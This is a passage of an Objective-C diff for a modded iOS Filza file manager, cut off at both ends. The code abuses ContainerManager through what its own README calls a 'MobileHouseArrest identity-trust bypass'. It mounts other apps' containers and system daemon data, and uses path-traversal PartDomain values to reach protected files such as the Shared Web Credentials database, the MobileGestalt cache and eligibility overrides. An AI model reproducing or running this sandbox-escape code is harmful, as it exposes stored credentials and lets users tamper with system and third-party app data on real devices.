+ encoding:NSUTF8StringEncoding error:nil]; + MCMFilzaRecordDeletedGeneratedPath(path); + setup = [manager removeItemAtPath:path error:nil] && setup; + } + + BOOL writeResult = MCMWriteGeneratedString(@"must stay deleted", path); + BOOL exists = [manager fileExistsAtPath:path]; + BOOL recorded = [MCMDeletedGeneratedPaths() + containsObject:MCMGeneratedPathKey(path)]; + BOOL passed = setup && !writeResult && !exists && recorded; + fprintf(stderr, + "[GeneratedDeleteProbe] phase=%s setup=%d write=%d exists=%d recorded=%d pass=%d\n", + phase.UTF8String, setup, writeResult, exists, recorded, passed); + fflush(stderr); +} + +NSString *MCMFilzaWallpaperLabName(void) +{ + return kMCMWallpaperLabDirectoryName; +} + +static NSString *MCMKey(uint64_t containerClass, NSString *identifier) +{ + return [NSString stringWithFormat:@"%llu:%@", containerClass, identifier]; +} + +static NSString *MCMScopedKey(uint64_t containerClass, NSString *identifier, + uint64_t part, NSString *partDomain, uint64_t flags) +{ + return [NSString stringWithFormat:@"%llu:%@:%llu:%@:%llx", containerClass, + identifier, part, partDomain ?: @"", flags]; +} + +static BOOL MCMSafeIdentifier(NSString *identifier) +{ + if (identifier.length == 0 || identifier.length > 255) return NO; + NSCharacterSet *allowed = [NSCharacterSet characterSetWithCharactersInString: + @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-_"]; + return [identifier rangeOfCharacterFromSet:allowed.invertedSet].location == NSNotFound && + ![identifier isEqualToString:@"."] && ![identifier isEqualToString:@".."]; +} + +static NSString *MCMActivate(uint64_t containerClass, NSString *identifier, + BOOL group, NSString **error) +{ + MCMEnsureState(); + if (![MCMSignedCodeIdentifier() isEqualToString:kRequiredIdentifier]) { + if (error) *error = @"signed code identifier is not the required MCM caller identity"; + return nil; + } + if (!MCMSafeIdentifier(identifier)) { + if (error) *error = @"identifier contains unsupported path characters"; + return nil; + } + @synchronized (gLeases) { + MCMLease *existing = gLeases[MCMKey(containerClass, identifier)]; + if (existing.rootPath.length) + return existing.rootPath; + NSString *detail = nil; + MCMLease *lease = [MCMLease leaseForClass:containerClass identifier:identifier + group:group part:0 flags:kMCMFlags error:&detail]; + BOOL activated = lease && [lease activate:&detail]; + if (!lease) { + if (error) *error = detail ?: @"MCM activation failed"; + return nil; + } + // iOS 26 containermanagerd lacks genericExtensionsAllowedForAll, so it + // refuses sandbox tokens for callers not in the per-class allowed set. + // The path is still valid — try opening it before giving up. + int descriptor = open(lease.rootPath.fileSystemRepresentation, + O_RDONLY | O_DIRECTORY | O_CLOEXEC | O_NOFOLLOW); + if (descriptor < 0) { + if (!activated && !gUnrestrictedFilesystem) { + if (error) *error = detail ?: @"MCM activation failed"; + [lease invalidate]; + return nil; + } + if (error) *error = [NSString stringWithFormat:@"container root open failed errno=%d", errno]; + [lease invalidate]; + return nil; + } + close(descriptor); + gLeases[MCMKey(containerClass, identifier)] = lease; + return lease.rootPath; + } +} + +static NSString *MCMActivateScoped(uint64_t containerClass, NSString *identifier, + BOOL group, uint64_t part, + NSString *partDomain, uint64_t flags, + NSString **error) +{ + MCMEnsureState(); + if (![MCMSignedCodeIdentifier() isEqualToString:kRequiredIdentifier]) { + if (error) *error = @"signed code identifier is not the required MCM caller identity"; + return nil; + } + if (!MCMSafeIdentifier(identifier)) { + if (error) *error = @"identifier contains unsupported path characters"; + return nil; + } + NSString *key = MCMScopedKey(containerClass, identifier, part, partDomain, flags); + @synchronized (gLeases) { + MCMLease *existing = gLeases[key]; + if (existing.rootPath.length) return existing.rootPath; + NSString *detail = nil; + MCMLease *lease = [MCMLease leaseForClass:containerClass + identifier:identifier group:group part:part partDomain:partDomain + flags:flags error:&detail]; + BOOL activated = lease && [lease activate:&detail]; + if (!lease) { + if (error) *error = detail ?: @"scoped MCM activation failed"; + return nil; + } + int descriptor = open(lease.rootPath.fileSystemRepresentation, + O_RDONLY | O_DIRECTORY | O_CLOEXEC); + if (descriptor < 0) { + if (!activated) { + if (error) *error = detail ?: @"scoped MCM activation failed"; + [lease invalidate]; + return nil; + } + if (error) *error = [NSString stringWithFormat: + @"scoped directory open failed errno=%d", errno]; + [lease invalidate]; + return nil; + } + close(descriptor); + gLeases[key] = lease; + return lease.rootPath; + } +} + +NSString *MCMFilzaDataContainerPath(NSString *identifier, NSString **error) +{ + return MCMActivate(2, identifier, NO, error); +} + +static BOOL MCMPathIsInsideRoot(NSString *path, NSString *root) +{ + NSString *(^normalized)(NSString *) = ^NSString *(NSString *value) { + NSString *result = value.stringByStandardizingPath; + if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"]) + result = [@"/private" stringByAppendingString:result]; + return result; + }; + NSString *candidate = normalized(path); + NSString *base = normalized(root); + return [candidate isEqualToString:base] || + [candidate hasPrefix:[base stringByAppendingString:@"/"]]; +} + +BOOL MCMFilzaPathHasActiveLease(NSString *path) +{ + if (path.length == 0 || !path.isAbsolutePath) return NO; + if (gUnrestrictedFilesystem) return YES; + NSString *virtualRoot = MCMFilzaVirtualRoot(); + NSString *experimentalRoot = [virtualRoot + stringByAppendingPathComponent:kMCMExperimentalDirectoryName]; + NSString *filesTraversalRoot = [virtualRoot + stringByAppendingPathComponent:@"Files Traversal"]; + // The experimental consumer mounts are browse-first. Keep the custom + // local paste path from turning a traversal check into a target mutation. + if (MCMPathIsInsideRoot(path, experimentalRoot) || + MCMPathIsInsideRoot(path, filesTraversalRoot)) return NO; + if (MCMPathIsInsideRoot(path, virtualRoot) || + MCMPathIsInsideRoot(path, MCMFilzaArchivePath())) return YES; + if (MCMFilzaIsRunningInLiveContainer()) { + for (NSString *root in MCMLiveContainerAuthorityRoots()) + if (MCMPathIsInsideRoot(path, root)) return YES; + return NO; + } + MCMEnsureState(); + @synchronized (gLeases) { + for (MCMLease *lease in gLeases.allValues) + if (lease.activated && MCMPathIsInsideRoot(path, lease.rootPath)) return YES; + } + return NO; +} + +static void MCMInstallLiveContainerLink(NSFileManager *manager, NSString *root, + NSString *name, NSString *target) +{ + if (!target.length || !target.isAbsolutePath) return; + BOOL isDirectory = NO; + if (![manager fileExistsAtPath:target isDirectory:&isDirectory] || !isDirectory) + return; + + NSString *link = [root stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) { + NSLog(@"[LiveContainer] keeping non-link path %@", link); + return; + } + if (unlink(link.fileSystemRepresentation) != 0) { + NSLog(@"[LiveContainer] could not refresh link %@ errno=%d", link, errno); + return; + } + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[LiveContainer] link failed %@ -> %@ errno=%d", link, target, errno); + else + NSLog(@"[LiveContainer] linked %@ -> %@", link, target); +} + +static void MCMInstallArchiveAlias(NSFileManager *manager, NSString *root) +{ + NSString *archive = MCMFilzaArchivePath(); + NSError *error = nil; + if (![manager createDirectoryAtPath:archive withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} + error:&error]) { + NSLog(@"[Archive] directory creation failed path=%@ error=%@", archive, error); + return; + } + + NSString *link = [root stringByAppendingPathComponent:@"Archive"]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) { + NSLog(@"[Archive] keeping non-link path %@", link); + return; + } + if (unlink(link.fileSystemRepresentation) != 0) { + NSLog(@"[Archive] stale alias removal failed path=%@ errno=%d", link, errno); + return; + } + } + if (symlink(archive.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[Archive] alias failed %@ -> %@ errno=%d", link, archive, errno); + else + NSLog(@"[Archive] alias ready %@ -> %@", link, archive); +} + +static void MCMInstallLiveContainerRoot(void) +{ + NSFileManager *manager = NSFileManager.defaultManager; + NSString *root = MCMFilzaVirtualRoot(); + [manager createDirectoryAtPath:root withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} error:nil]; + MCMInstallArchiveAlias(manager, root); + + NSString *hostHome = MCMAbsoluteEnvironmentPath("LC_HOME_PATH"); + NSString *hostDocuments = [hostHome stringByAppendingPathComponent:@"Documents"]; + NSString *sharedRoot = [MCMLiveContainerAppGroupPath() + stringByAppendingPathComponent:@"LiveContainer"]; + + NSArray *> *links = @[ + @[@"[LiveContainer] Local Apps", + [hostDocuments stringByAppendingPathComponent:@"Applications"] ?: @""], + @[@"[LiveContainer] Local App Data", + [hostDocuments stringByAppendingPathComponent:@"Data/Application"] ?: @""], + @[@"[LiveContainer] Local App Groups", + [hostDocuments stringByAppendingPathComponent:@"Data/AppGroup"] ?: @""], + @[@"[LiveContainer] Shared Apps", + [sharedRoot stringByAppendingPathComponent:@"Applications"] ?: @""], + @[@"[LiveContainer] Shared App Data", + [sharedRoot stringByAppendingPathComponent:@"Data/Application"] ?: @""], + @[@"[LiveContainer] Shared App Groups", + [sharedRoot stringByAppendingPathComponent:@"Data/AppGroup"] ?: @""], + ]; + for (NSArray *entry in links) + MCMInstallLiveContainerLink(manager, root, entry[0], entry[1]); + + NSString *readme = @"LiveContainer compatibility mode\n\n" + @"These links expose apps and data stored by this LiveContainer.\n" + @"Edits affect the live guest containers.\n\n" + @"The process still uses LiveContainer's signed identity. " + "It cannot receive MobileHouseArrest access to system app containers.\n"; + MCMWriteGeneratedString(readme, + [root stringByAppendingPathComponent:@"README.txt"]); +} + +static void MCMInstallLinkWithFailureLogging(NSString *directory, + NSString *identifier, + uint64_t containerClass, + BOOL group, + BOOL logFailure) +{ + NSString *error = nil; + NSString *target = MCMActivate(containerClass, identifier, group, &error); + if (!target) { + if (logFailure) + NSLog(@"[MCMFilza] activation failed class=%llu id=%@ detail=%@", + containerClass, identifier, error); + return; + } + NSString *link = [directory stringByAppendingPathComponent:identifier]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) return; + char current[PATH_MAX] = {0}; + ssize_t count = readlink(link.fileSystemRepresentation, current, sizeof(current) - 1); + if (count > 0 && [[NSString stringWithUTF8String:current] isEqualToString:target]) return; + unlink(link.fileSystemRepresentation); + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[MCMFilza] symlink failed id=%@ errno=%d", identifier, errno); +} + +static void MCMInstallLink(NSString *directory, NSString *identifier, + uint64_t containerClass, BOOL group) +{ + MCMInstallLinkWithFailureLogging(directory, identifier, containerClass, + group, YES); +} + +static NSString *MCMDirectIdentifier(NSString *containerPath, NSString *fallback) +{ + NSString *metadataPath = [containerPath stringByAppendingPathComponent: + @".com.apple.mobile_container_manager.metadata.plist"]; + NSDictionary *metadata = [NSDictionary dictionaryWithContentsOfFile:metadataPath]; + NSString *identifier = [metadata[@"MCMMetadataIdentifier"] + isKindOfClass:NSString.class] ? metadata[@"MCMMetadataIdentifier"] : nil; + return MCMSafeIdentifier(identifier) ? identifier : fallback; +} + +static void MCMInstallDirectFilesystemLinks(NSString *directory, + NSString *containerRoot) +{ + if (!gUnrestrictedFilesystem) return; + NSFileManager *manager = NSFileManager.defaultManager; + NSArray *children = [manager contentsOfDirectoryAtPath:containerRoot + error:nil]; + for (NSString *child in children ?: @[]) { + if (!MCMSafeIdentifier(child)) continue; + NSString *target = [containerRoot stringByAppendingPathComponent:child]; + BOOL isDirectory = NO; + if (![manager fileExistsAtPath:target isDirectory:&isDirectory] || !isDirectory) + continue; + NSString *identifier = MCMDirectIdentifier(target, child); + if (!MCMSafeIdentifier(identifier)) continue; + NSString *link = [directory stringByAppendingPathComponent:identifier]; + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) continue; + unlink(link.fileSystemRepresentation); + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[MCMFilza] direct symlink failed id=%@ target=%@ errno=%d", + identifier, target, errno); + } +} + +static void MCMMigrateStorageEntry(NSFileManager *manager, NSString *directory, + NSString *oldName, NSString *newName) +{ + if (oldName.length == 0 || newName.length == 0 || + [oldName isEqualToString:newName]) + return; + + NSString *source = [directory stringByAppendingPathComponent:oldName]; + NSString *destination = [directory stringByAppendingPathComponent:newName]; + if ([manager fileExistsAtPath:source] && + ![manager fileExistsAtPath:destination]) { + NSError *error = nil; + if (![manager moveItemAtPath:source toPath:destination error:&error]) + NSLog(@"[MCMFilza] label migration failed old=%@ new=%@ error=%@", + source, destination, error); + else + NSLog(@"[MCMFilza] label migration complete old=%@ new=%@", + source, destination); + } else if ([manager fileExistsAtPath:source]) { + NSLog(@"[MCMFilza] label migration skipped because destination exists old=%@ new=%@", + source, destination); + } +} + +static void MCMMigrateLegacyTopLevelNames(NSFileManager *manager, NSString *root) +{ + NSArray *> *migrations = @[ + @[@"App Data", @"[MHA-C2] App Data"], + @[@"App Groups", @"[MHA-C7] App Groups"], + @[@"Extension Data", @"[MHA-C4] Extension Data"], + @[@"VPN Data", @"[MHA-C6] VPN Data"], + @[@"Service Data", @"[MHA-C10] Service Data"], + @[@"System Data", @"[MHA-C12] System Data"], + @[@"System Groups", @"[MHA-C13] System Groups"], + @[@"Protected Data", @"[MHA-C15] Protected Data"], + @[@"Additional Locations", @"[MHA-C13 Scoped] Additional Locations"], + @[@"Experimental", @"[MHA-Mixed EXP] Experimental"], + @[@"Wallpaper Lab", @"[MHA-C2] Wallpaper Lab"], + ]; + for (NSArray *migration in migrations) + MCMMigrateStorageEntry(manager, root, migration[0], migration[1]); +} + +static void MCMInstallScopedLink(NSString *directory, NSString *linkName, + uint64_t containerClass, NSString *identifier, + BOOL group, uint64_t part, NSString *partDomain) +{ + NSString *link = [directory stringByAppendingPathComponent:linkName]; + NSString *error = nil; + NSString *target = MCMActivateScoped(containerClass, identifier, group, part, + partDomain, kMCMReadWritePartFlags, &error); + if (!target) { + struct stat stale = {0}; + if (lstat(link.fileSystemRepresentation, &stale) == 0 && + S_ISLNK(stale.st_mode)) + unlink(link.fileSystemRepresentation); + NSLog(@"[MCMFilza] scoped activation failed class=%llu id=%@ part=%llu domain=%@ detail=%@", + containerClass, identifier, part, partDomain, error); + return; + } + struct stat status = {0}; + if (lstat(link.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) return; + char current[PATH_MAX] = {0}; + ssize_t count = readlink(link.fileSystemRepresentation, current, sizeof(current) - 1); + if (count > 0 && [[NSString stringWithUTF8String:current] isEqualToString:target]) return; + unlink(link.fileSystemRepresentation); + } + if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0) + NSLog(@"[MCMFilza] scoped symlink failed name=%@ errno=%d", linkName, errno); + else + NSLog(@"[MCMFilza] scoped path ready name=%@ target=%@", linkName, target); +} + +static NSDictionary *MCMExperimentalPathStatus(NSString *path) +{ + NSMutableDictionary *result = [@{ @"Path": path ?: @"" } + mutableCopy]; + struct stat status = {0}; + errno = 0; + if (path.length == 0 || lstat(path.fileSystemRepresentation, &status) != 0) { + int savedErrno = errno; + result[@"Exists"] = @NO; + result[@"Errno"] = @(savedErrno); + result[@"Error"] = [NSString stringWithUTF8String:strerror(savedErrno)] + ?: @"unknown"; + return result; + } + + BOOL directory = S_ISDIR(status.st_mode); + result[@"Exists"] = @YES; + result[@"Kind"] = directory ? @"directory" : + (S_ISREG(status.st_mode) ? @"file" : + (S_ISLNK(status.st_mode) ? @"symlink" : @"other")); + result[@"Mode"] = [NSString stringWithFormat:@"%04o", + status.st_mode & 07777]; + result[@"UID"] = @(status.st_uid); + result[@"GID"] = @(status.st_gid); + + errno = 0; + BOOL readable = access(path.fileSystemRepresentation, R_OK) == 0; + int readErrno = readable ? 0 : errno; + errno = 0; + BOOL writable = access(path.fileSystemRepresentation, W_OK) == 0; + int writeErrno = writable ? 0 : errno; + int flags = O_RDONLY | O_CLOEXEC | (directory ? O_DIRECTORY : 0); + errno = 0; + int descriptor = open(path.fileSystemRepresentation, flags); + int openErrno = descriptor >= 0 ? 0 : errno; + if (descriptor >= 0) close(descriptor); + result[@"Readable"] = @(readable); + result[@"ReadErrno"] = @(readErrno); + result[@"Writable"] = @(writable); + result[@"WriteErrno"] = @(writeErrno); + result[@"ReadOnlyOpen"] = @(descriptor >= 0); + result[@"OpenErrno"] = @(openErrno); + return result; +} + +static void MCMRemoveStaleExperimentalLink(NSString *path) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0 && + S_ISLNK(status.st_mode)) + unlink(path.fileSystemRepresentation); +} + +static BOOL MCMInstallExperimentalSymlink(NSString *path, NSString *target, + NSString **error) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0) { + if (!S_ISLNK(status.st_mode)) { + if (error) *error = @"entry exists and is not a symlink"; + return NO; + } + char current[PATH_MAX] = {0}; + ssize_t count = readlink(path.fileSystemRepresentation, current, + sizeof(current) - 1); + NSString *currentTarget = count > 0 + ? [NSString stringWithUTF8String:current] : nil; + if ([currentTarget isEqualToString:target]) return YES; + if (unlink(path.fileSystemRepresentation) != 0) { + if (error) *error = [NSString stringWithFormat: + @"stale symlink removal failed errno=%d", errno]; + return NO; + } + } + if (symlink(target.fileSystemRepresentation, + path.fileSystemRepresentation) != 0) { + if (error) *error = [NSString stringWithFormat: + @"symlink failed errno=%d", errno]; + return NO; + } + return YES; +} + +static NSString *MCMCanonicalLexicalPath(NSString *path) +{ + NSString *result = path.stringByStandardizingPath; + if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"]) + result = [@"/private" stringByAppendingString:result]; + return result; +} + +static NSString *MCMRelativeSymlinkTarget(NSString *sourceDirectory, + NSString *absoluteTarget) +{ + NSArray *source = + MCMCanonicalLexicalPath(sourceDirectory).pathComponents; + NSArray *target = + MCMCanonicalLexicalPath(absoluteTarget).pathComponents; + NSUInteger common = 0; + while (common < source.count && common < target.count && + [source[common] isEqualToString:target[common]]) + common++; + + NSMutableArray *parts = [NSMutableArray array]; + for (NSUInteger index = common; index < source.count; index++) + [parts addObject:@".."]; + for (NSUInteger index = common; index < target.count; index++) + if (![target[index] isEqualToString:@"/"]) + [parts addObject:target[index]]; + return parts.count ? [parts componentsJoinedByString:@"/"] : @"."; +} + +static void MCMInstallFilesTraversalFolder(NSString *directory) +{ + // Files has explicit home-relative authority for these roots on the + // audited iOS 27 build. The two parent entries are retained as best-effort + // boundary checks; a failed link open does not imply a broader primitive. + NSArray *portals = @[ + @{ @"Name": @"01 All Mobile Containers", + @"Target": @"/private/var/mobile/Containers" }, + @{ @"Name": @"02 App Data", + @"Target": @"/private/var/mobile/Containers/Data/Application" }, + @{ @"Name": @"03 Extension Data", + @"Target": @"/private/var/mobile/Containers/Data/PluginKitPlugin" }, + @{ @"Name": @"04 VPN Data", + @"Target": @"/private/var/mobile/Containers/Data/VPNPlugin" }, + @{ @"Name": @"05 Internal Daemon Data", + @"Target": @"/private/var/mobile/Containers/Data/InternalDaemon" }, + @{ @"Name": @"06 System Data", + @"Target": @"/private/var/mobile/Containers/Data/System" }, + @{ @"Name": @"07 Protected Data", + @"Target": @"/private/var/mobile/Containers/Data/Protected" }, + @{ @"Name": @"08 App Groups", + @"Target": @"/private/var/mobile/Containers/Shared/AppGroup" }, + @{ @"Name": @"09 Shortcuts", + @"Target": @"/private/var/mobile/Library/Shortcuts" }, + @{ @"Name": @"10 Cloud Storage", + @"Target": @"/private/var/mobile/Library/CloudStorage" }, + @{ @"Name": @"11 Mobile Documents", + @"Target": @"/private/var/mobile/Library/Mobile Documents" }, + @{ @"Name": @"12 Live Files", + @"Target": @"/private/var/mobile/Library/LiveFiles" }, + @{ @"Name": @"13 Mobile Library - Best Effort", + @"Target": @"/private/var/mobile/Library" }, + @{ @"Name": @"14 Mobile Home - Best Effort", + @"Target": @"/private/var/mobile" }, + ]; + + NSMutableArray *results = [NSMutableArray array]; + for (NSDictionary *portal in portals) { + NSString *name = portal[@"Name"]; + NSString *absoluteTarget = portal[@"Target"]; + NSString *relativeTarget = MCMRelativeSymlinkTarget(directory, + absoluteTarget); + NSString *linkPath = [directory stringByAppendingPathComponent:name]; + NSString *detail = nil; + BOOL created = MCMInstallExperimentalSymlink(linkPath, relativeTarget, + &detail); + NSMutableDictionary *result = [portal mutableCopy]; + result[@"LinkPath"] = linkPath; + result[@"RelativeTarget"] = relativeTarget; + result[@"Created"] = @(created); + result[@"SourceAppTargetStatus"] = + MCMExperimentalPathStatus(absoluteTarget); + if (!created) result[@"Error"] = detail ?: @"link creation failed"; + [results addObject:result]; + NSLog(@"[MCMFilza] Files portal name=%@ relative=%@ created=%d detail=%@", + name, relativeTarget, created, detail); + } + + NSString *readme = @"Files traversal portals\n\n" + @"Open these links through Apple Files, not through Filza:\n" + @"Files > On My iPhone > Filza Mod > Device Storage > Files Traversal\n\n" + @"Files resolves the relative links with its own authority. Filza remains sandboxed, so a portal can look blank or fail when opened inside Filza even when it works in Files.\n\n" + @"These links point to live data. Create, copy, rename, move, and delete operations in Files can change another app's real container. Viewing is safest. This folder does not install a .Trash link.\n\n" + @"Portal Results.plist records link targets and checks made by Filza itself. EPERM in SourceAppTargetStatus is expected and does not predict whether Files can open a portal. Best Effort entries may be rejected by Files.\n"; + MCMWriteGeneratedString(readme, + [directory stringByAppendingPathComponent:@"README.txt"]); + MCMWriteGeneratedPropertyList(results, [directory + stringByAppendingPathComponent:@"Portal Results.plist"]); +} + +static NSDictionary *MCMRunExperimentalProbe(NSString *directory, + NSDictionary *probe) +{ + NSString *name = [probe[@"Name"] isKindOfClass:NSString.class] + ? probe[@"Name"] : @"Unnamed Probe"; + uint64_t containerClass = [probe[@"Class"] unsignedLongLongValue]; + NSString *identifier = [probe[@"Identifier"] isKindOfClass:NSString.class] + ? probe[@"Identifier"] : @""; + BOOL group = [probe[@"Group"] boolValue]; + uint64_t part = [probe[@"Part"] unsignedLongLongValue]; + uint64_t flags = [probe[@"Flags"] unsignedLongLongValue]; + NSString *partDomain = [probe[@"PartDomain"] isKindOfClass:NSString.class] + ? probe[@"PartDomain"] : nil; + NSArray *expected = [probe[@"Expected"] isKindOfClass:NSArray.class] + ? probe[@"Expected"] : @[]; + NSString *linkPath = [directory stringByAppendingPathComponent:name]; + + NSMutableDictionary *result = [probe mutableCopy]; + result[@"FlagsHex"] = [NSString stringWithFormat:@"0x%llx", flags]; + [result removeObjectForKey:@"Flags"]; + NSString *detail = nil; + NSString *target = MCMActivateScoped(containerClass, identifier, group, + part, partDomain, flags, &detail); + if (!target) { + MCMRemoveStaleExperimentalLink(linkPath); + result[@"Status"] = @"failed"; + result[@"Error"] = detail ?: @"activation failed"; + return result; + } + + result[@"ReturnedPath"] = target; + result[@"ReturnedPathStatus"] = MCMExperimentalPathStatus(target); + NSMutableArray *expectedStatuses = [NSMutableArray array]; + for (id relativeValue in expected) { + if (![relativeValue isKindOfClass:NSString.class]) continue; + NSString *relative = relativeValue; + NSString *expectedPath = [target stringByAppendingPathComponent:relative]; + NSMutableDictionary *expectedStatus = + [MCMExperimentalPathStatus(expectedPath) mutableCopy]; + expectedStatus[@"RelativePath"] = relative; + [expectedStatuses addObject:expectedStatus]; + } + result[@"ExpectedPathStatus"] = expectedStatuses; + + NSString *linkError = nil; + BOOL linked = MCMInstallExperimentalSymlink(linkPath, target, &linkError); + result[@"Status"] = linked ? @"linked" : @"failed"; + result[@"LinkPath"] = linkPath; + if (!linked) result[@"Error"] = linkError ?: @"link creation failed"; + NSLog(@"[MCMFilza] experimental name=%@ class=%llu id=%@ part=%llu domain=%@ status=%@ target=%@ error=%@", + name, containerClass, identifier, part, partDomain, + result[@"Status"], target, result[@"Error"]); + return result; +} + +static void MCMInstallExperimentalFolder(NSString *directory) +{ + NSFileManager *manager = NSFileManager.defaultManager; + NSArray *> *nameMigrations = @[ + @[@"01 Install Coordination", @"01 [MHA-C13] Install Coordination"], + @[@"02 MobileGestalt Cache", @"02 [MHA-C13] MobileGestalt Cache"], + @[@"03 Eligibility Overrides", @"03 [MHA-C12] Eligibility Overrides"], + @[@"04 App Managed Data", @"04 [MHA-C15] App Managed Data"], + @[@"05 Configuration Profiles Root", + @"05 [MHA-C13] Configuration Profiles Root"], + @[@"06 Shared Web Credentials Root", + @"06 [MHA-C10] Shared Web Credentials Root"], + @[@"07 System Data Library Control", + @"07 [MHA-C12] System Data Library Control"], + @[@"08 MobileGestalt via System Data", + @"08 [MHA-C12] MobileGestalt via System Data"], + ]; + for (NSArray *migration in nameMigrations) + MCMMigrateStorageEntry(manager, directory, migration[0], migration[1]); + + NSArray *probes = @[ + @{ + @"Name": @"01 [MHA-C13] Install Coordination", + @"Class": @13, + @"Identifier": @"systemgroup.com.apple.installcoordinationd", + @"Group": @YES, + @"Part": @3, + @"PartDomain": @"../InstallCoordination", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"Coordinators", @"DataPromises", + @"PromiseStaging"], + }, + @{ + @"Name": @"02 [MHA-C13] MobileGestalt Cache", + @"Class": @13, + @"Identifier": @"systemgroup.com.apple.mobilegestaltcache", + @"Group": @YES, + @"Part": @3, + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"com.apple.MobileGestalt.plist"], + }, + @{ + @"Name": @"03 [MHA-C12] Eligibility Overrides", + @"Class": @12, + @"Identifier": @"com.apple.eligibilityd", + @"Group": @NO, + @"Part": @3, + @"PartDomain": @"NeverRestore", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"eligibility_overrides.data"], + }, + @{ + @"Name": @"04 [MHA-C15] App Managed Data", + @"Class": @15, + @"Identifier": @"com.apple.appmanagedfeaturesd", + @"Group": @NO, + @"Part": @0, + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[ + @"com.apple.appmanagedfeaturesd/ConfigurationPersistence", + @"com.apple.appmanagedfeaturesd/Archive/ConfigurationPersistence", + ], + }, + @{ + @"Name": @"05 [MHA-C13] Configuration Profiles Root", + @"Class": @13, + @"Identifier": @"systemgroup.com.apple.configurationprofiles", + @"Group": @YES, + @"Part": @0, + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[ + @"Library/ConfigurationProfiles/PayloadManifest.plist", + ], + }, + @{ + @"Name": @"06 [MHA-C10] Shared Web Credentials Root", + @"Class": @10, + @"Identifier": @"com.apple.swcd", + @"Group": @NO, + @"Part": @0, + @"Flags": @(kMCMFlags), + @"Expected": @[@"com.apple.SharedWebCredentials/swc.db"], + }, + @{ + @"Name": @"07 [MHA-C12] System Data Library Control", + @"Class": @12, + @"Identifier": @"com.apple.geod", + @"Group": @NO, + @"Part": @3, + @"PartDomain": @"..", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"Caches", @"Preferences"], + }, + @{ + @"Name": @"08 [MHA-C12] MobileGestalt via System Data", + @"Class": @12, + @"Identifier": @"com.apple.geod", + @"Group": @NO, + @"Part": @3, + @"PartDomain": @"../../../../../../containers/Shared/SystemGroup/" + @"systemgroup.com.apple.mobilegestaltcache/Library/Caches", + @"Flags": @(kMCMReadWritePartFlags), + @"Expected": @[@"com.apple.MobileGestalt.plist"], + }, + ]; + + NSMutableArray *results = [NSMutableArray array]; + for (NSDictionary *probe in probes) + [results addObject:MCMRunExperimentalProbe(directory, probe)]; + + NSString *readme = @"Experimental consumer traversal\n\n" + @"MHA means the MobileHouseArrest identity-trust bypass. C10, C12, C13, and C15 identify the ContainerManager class used by each link.\n" + @"These are fixed launch-time probes for daemon-consumed files found during the class 10/12/13/15 audit.\n" + @"A link appears only after ContainerManager returns a token, activation succeeds, and the returned directory opens read-only.\n" + @"Probe setup does not create or modify target files. The custom Filza copy/paste route is disabled inside this folder.\n" + @"The links still point at live directories; do not edit a candidate unless you have separately backed it up and planned an exact restore.\n\n" + @"Probe Results.plist records failed queries and the read/write/open status of each expected consumer path.\n"; + MCMWriteGeneratedString(readme, + [directory stringByAppendingPathComponent:@"README.txt"]); + MCMWriteGeneratedPropertyList(results, [directory + stringByAppendingPathComponent:@"Probe Results.plist"]); +} + +static BOOL MCMLaunchServicesIdentifierByte(uint8_t value) +{ + return (value >= 'a' && value <= 'z') || + (value >= 'A' && value <= 'Z') || + (value >= '0' && value <= '9') || + value == '.' || value == '-' || value == '_'; +} + +static NSArray *MCMExpectedIdentifiersFromEnvironment(void) +{ + const char *value = getenv("FILZA_MCM_EXPECT_IDENTIFIERS"); + if (!value || !value[0]) return @[]; + NSString *joined = [NSString stringWithUTF8String:value]; + NSMutableOrderedSet *result = [NSMutableOrderedSet orderedSet]; + for (NSString *identifier in [joined componentsSeparatedByString:@","]) + if (MCMSafeIdentifier(identifier)) [result addObject:identifier]; + return result.array; +} + +static void MCMLogExpectedIdentifierCoverage(NSString *label, + NSSet *actual) +{ + NSArray *expected = MCMExpectedIdentifiersFromEnvironment(); + if (expected.count == 0) return; + NSMutableArray *missing = [NSMutableArray array]; + for (NSString *identifier in expected) + if (![actual containsObject:identifier]) [missing addObject:identifier]; + NSLog(@"[MCMFilza] %@ expected=%lu matched=%lu missing=%@", label, + (unsigned long)expected.count, + (unsigned long)(expected.count - missing.count), missing); +} + +static void MCMResetAppLinksForTesting(NSString *directory) +{ + if (!getenv("FILZA_MCM_RESET_APP_LINKS")) return; + NSFileManager *manager = NSFileManager.defaultManager; + for (NSString *name in [manager contentsOfDirectoryAtPath:directory error:nil] ?: @[]) { + NSString *path = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0 && + S_ISLNK(status.st_mode)) + unlink(path.fileSystemRepresentation); + } + NSLog(@"[MCMFilza] reset App Data links for test"); +} + +static NSArray *MCMLaunchServicesStoreIdentifiers(void) +{ + static const NSUInteger kMaximumCandidateCount = 65536; + NSString *error = nil; + NSString *container = 